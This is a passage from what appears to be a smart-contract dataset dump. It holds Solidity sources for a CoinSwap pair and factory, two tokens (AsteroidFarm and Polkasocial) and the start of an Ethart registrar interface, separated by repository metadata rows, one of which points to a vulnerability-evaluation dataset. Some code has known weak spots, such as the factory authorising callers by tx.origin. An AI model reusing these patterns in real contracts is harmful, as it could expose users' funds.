require((to != _token0) && (to != _token1), 'CSWP:9');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out);
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out);
if (data.length > 0) ICoinSwapCallee(to).coinswapCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
require(balance0*uint56(_circleData >> 160) < 2**96
&& balance1*uint56(_circleData >> 104) < 2**96, 'CSWP:10');
}
uint amountIn0;
uint amountIn1;
uint224 _reserve = reserve;
{// if _reserve0 < amountOut, then should have been reverted above already, so no need to check here
uint96 reserve0 = uint96(_reserve >>128);
uint96 reserve1 = uint96(_reserve >>32);
amountIn0 = balance0 + amount0Out - reserve0;
amountIn1 = balance1 + amount1Out - reserve1;
uint mulambda0 = uint(uint16(_circleData >> 72))*uint56(_circleData)*uint56(_circleData >> 160);
uint mulambda1 = uint(uint16(_circleData >> 56))*uint56(_circleData)*uint56(_circleData >> 104);
uint X=mulambda0*(balance0*1000 - amountIn0*3);
uint Y=mulambda1*(balance1*1000 - amountIn1*3);
require(10**37 > X && 10**37 >Y, 'CSWP:11');
X = 10**37-X;
Y = 10**37-Y;
uint newrSquare = X*X+Y*Y;
X=10**37-(mulambda0 * reserve0*1000);
Y=10**37-(mulambda1 * reserve1*1000);
require(newrSquare<= (X*X+Y*Y), 'CSWP:12');
}
_update(balance0<<128 | balance1<<32 | uint32(_reserve));
emit Swap(msg.sender, uint192(amountIn0<<96 | amountIn1), uint192(amountOut), to);
}
}
contract CoinSwapFactory {
address payable public feeTo;
address payable public feeToSetter;
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
constructor(address payable _feeToSetter) {
feeToSetter = _feeToSetter;
feeTo = _feeToSetter;
}
function allPairsLength() external view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB, uint224 circle) external returns (address pair) {
require(tx.origin==feeToSetter, 'CSWP:22');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(getPair[token0][token1] == address(0), 'CSWP:20');
require(uint16(circle>>56)>0 && uint16(circle>>72)>0 &&
uint16(circle>>88)>0 && uint16(circle>>88)<=9999
&& uint56(circle>>104)>=1 && uint56(circle>>104)<=10**16
&& uint56(circle>>160)>=1 && uint56(circle>>160)<=10**16, 'CSWP:23');
bytes memory bytecode = type(CoinSwapPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
CoinSwapPair(pair).initialize(token0, token1, circle);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair;
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address payable _feeTo) external {
require(msg.sender == feeToSetter, 'CSWP:21');
feeTo = _feeTo;
}
function setFeeToSetter(address payable _feeToSetter) external {
require(msg.sender == feeToSetter, 'CSWP:22');
feeToSetter = _feeToSetter;
}
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library SQRT {
function sqrt(uint256 a) internal pure returns (uint256 x) {
if (a > 3) {
uint msbpos =0;
uint b=a;
if (b > 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) {
msbpos += 128;
b = b >> 128;
}
if (b > 0xFFFFFFFFFFFFFFFF) {
msbpos += 64;
b = b>>64;
}
if (b > 0xFFFFFFFF) {
msbpos += 32;
b = b>>32;
}
if (b > 0xFFFF) {
msbpos += 16;
b = b>>16;
}
if (b > 0xFF) {
msbpos += 8;
b = b>>8;
}
if (b > 0xF) {
msbpos += 4;
}
msbpos += 4;
uint256 x0=a;
uint X=((a >> 1) + 1);
uint Y=2**(msbpos/2);
x = X< Y ? X : Y;
while (x < x0) {
x0 = x;
x = (a / x0 + x0) >> 1;
}
} else if (a != 0) {
x = 1;
}
}
}
| 257,187 | 13,150 |
a91f3b6bc9620bf05837632811d3b74d88f4c638fc65ec01529fa8647eb68880
| 31,176 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8e/8ecd24b9fefb963a6149c1d5ff09389a66fe8346_AsteroidFarmToken.sol
| 3,370 | 13,413 |
//SPDX-License-Identifier: None
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 constant MAXCAPSUPPLY = 10000 ether;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXCAPSUPPLY;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
require(_totalSupply.add(amount) <= MAXCAPSUPPLY, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// AsteroidFarmToken.
contract AsteroidFarmToken is BEP20('Asteroid Farm Token', 'ASTEROID') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 326,731 | 13,151 |
56e24fb199bb134cc064b0f9f64f227424c0b0e4ff24116f840cb66fac96ac5b
| 16,701 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xadB005659B1b99CbECC8B706750938Cad941290D/contract.sol
| 4,228 | 15,882 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Polkasocial {
using SafeMath for uint;
/// @notice EIP-20 token name for this token
string public constant name = "Polkasocial Network";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PSN";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 300_000_000e18; // 300,000,000 PSN
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "PSN::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
function setMinter(address minter_) external {
require(msg.sender == minter, "PSN::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "PSN::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "PSN::mint: minting not allowed yet");
require(dst != address(0), "PSN::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "PSN::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "PSN::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "PSN::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "PSN::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
function burn(uint96 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint96 amount) internal {
require(amount != 0);
require(amount <= balances[account]);
totalSupply = totalSupply.sub(amount);
balances[account] = balances[account] - amount;
emit Transfer(account, address(0), amount);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "PSN::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "PSN::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PSN::permit: invalid signature");
require(signatory == owner, "PSN::permit: unauthorized");
require(now <= deadline, "PSN::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "PSN::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "PSN::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "PSN::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PSN::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "PSN::delegateBySig: invalid nonce");
require(now <= expiry, "PSN::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "PSN::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "PSN::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "PSN::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "PSN::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "PSN::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "PSN::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "PSN::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "PSN::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 252,023 | 13,152 |
bd1c4122a222d7862173e8cf39994951c25122d1a526fb33f37084bae0fedfee
| 19,607 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xad3e7d2788126250d48598e1db6a2d3e19b89738.sol
| 4,930 | 17,388 |
pragma solidity ^0.4.11;
contract Interface {
// Ethart network interface
function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros);
function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered); // Check if a sha256 hash is registared
function isFactoryApproved (address _factory) returns (bool _approved); // Check if an address is a registred factory contract
function issuePatrons (address _to, uint256 _amount); // Issues Patron tokens according to conditions specified in factory contracts
function approveFactoryContract (address _factoryContractAddress, bool _approved); // Approves/disapproves factory contracts.
function changeOwner (address newOwner); // Change the registrar's owner.
function offerPieceForSaleByAddress (address _contract, uint256 _price); // Sell a piece owned by the registrar.
function offerPieceForSale (uint256 _price);
function fillBidByAddress (address _contract); // Fill a bid with an unindexed piece owned by the registrar
function fillBid();
function cancelSaleByAddress (address _contract); // Cancel the sale of an unindexed piece owned by the registrar
function cancelSale();
function offerIndexedPieceForSaleByAddress (address _contract, uint256 _index, uint256 _price); // Sell an indexed piece owned by the registrar.
function offerIndexedPieceForSale(uint256 _index, uint256 _price);
function fillIndexedBidByAddress (address _contract, uint256 _index); // Fill a bid with an indexed piece owned by the registrar
function fillIndexedBid (uint256 _index);
function cancelIndexedSaleByAddress (address _contract); // Cancel the sale of an unindexed piece owned by the registrar
function cancelIndexedSale();
function transferByAddress (address _contract, uint256 _amount, address _to); // Transfers unindexed pieces owned by the registrar contract
function transferIndexedByAddress (address _contract, uint256 _index, address _to); // Transfers indexed pieces owned by the registrar contract
function approveByAddress (address _contract, address _spender, uint256 _amount); // Sets an allowance for unindexed pieces owned by the registrar contract
function approveIndexedByAddress (address _contract, address _spender, uint256 _index); // Sets an allowance for indexed pieces owned by the registrar contract
function burnByAddress (address _contract, uint256 _amount); // Burn an unindexed piece owned by the registrar contract
function burnFromByAddress (address _contract, uint256 _amount, address _from); // Burn an unindexed piece owned by annother address
function burnIndexedByAddress (address _contract, uint256 _index); // Burn an indexed piece owned by the registrar contract
function burnIndexedFromByAddress (address _contract, address _from, uint256 _index); // Burn an indexed piece owned by another address
// ERC20 interface
function totalSupply() constant returns (uint256 totalSupply); // Returns the total supply of an artwork or token
function balanceOf(address _owner) constant returns (uint256 balance); // Returns an address' balance of an artwork or token
function transfer(address _to, uint256 _value) returns (bool success); // Transfers pieces of art or tokens to an address
function transferFrom(address _from, address _to, uint256 _value) returns (bool success); // Transfers pieces of art of tokens owned by another address to an address
function approve(address _spender, uint256 _value) returns (bool success); // Sets an allowance for an address
function allowance(address _owner, address _spender) constant returns (uint256 remaining); // Returns the allowance of an address for another address
// Additional token functions
function burn(uint256 _amount) returns (bool success); // Burns (removes from circulation) unindexed pieces of art or tokens.
// In the case of 'ouroboros' pieces this function also returns the piece's
// components to the message sender
function burnFrom(address _from, uint256 _amount) returns (bool success); // Burns (removes from circulation) unindexed pieces of art or tokens
// owned by another address. In the case of 'ouroboros' pieces this
// function also returns the piece's components to the message sender
// Extended ERC20 interface for indexed pieces
function transferIndexed (address _to, uint256 __index) returns (bool success); // Transfers an indexed piece of art
function transferFromIndexed (address _from, address _to, uint256 _index) returns (bool success); // Transfers an indexed piece of art from another address
function approveIndexed (address _spender, uint256 _index) returns (bool success); // Sets an allowance for an indexed piece of art for another address
function burnIndexed (uint256 _index); // Burns (removes from circulation) indexed pieces of art or tokens.
// In the case of 'ouroboros' pieces this function also returns the
// piece's components to the message sender
function burnIndexedFrom (address _owner, uint256 _index); // Burns (removes from circulation) indexed pieces of art or tokens
// owned by another address. In the case of 'ouroboros' pieces this
// function also returns the piece's components to the message sender
}
contract Registrar {
// Patron token ERC20 public variables
string public constant symbol = "ART";
string public constant name = "Patron - Ethart Network Token";
uint8 public constant decimals = 18;
uint256 _totalPatronSupply;
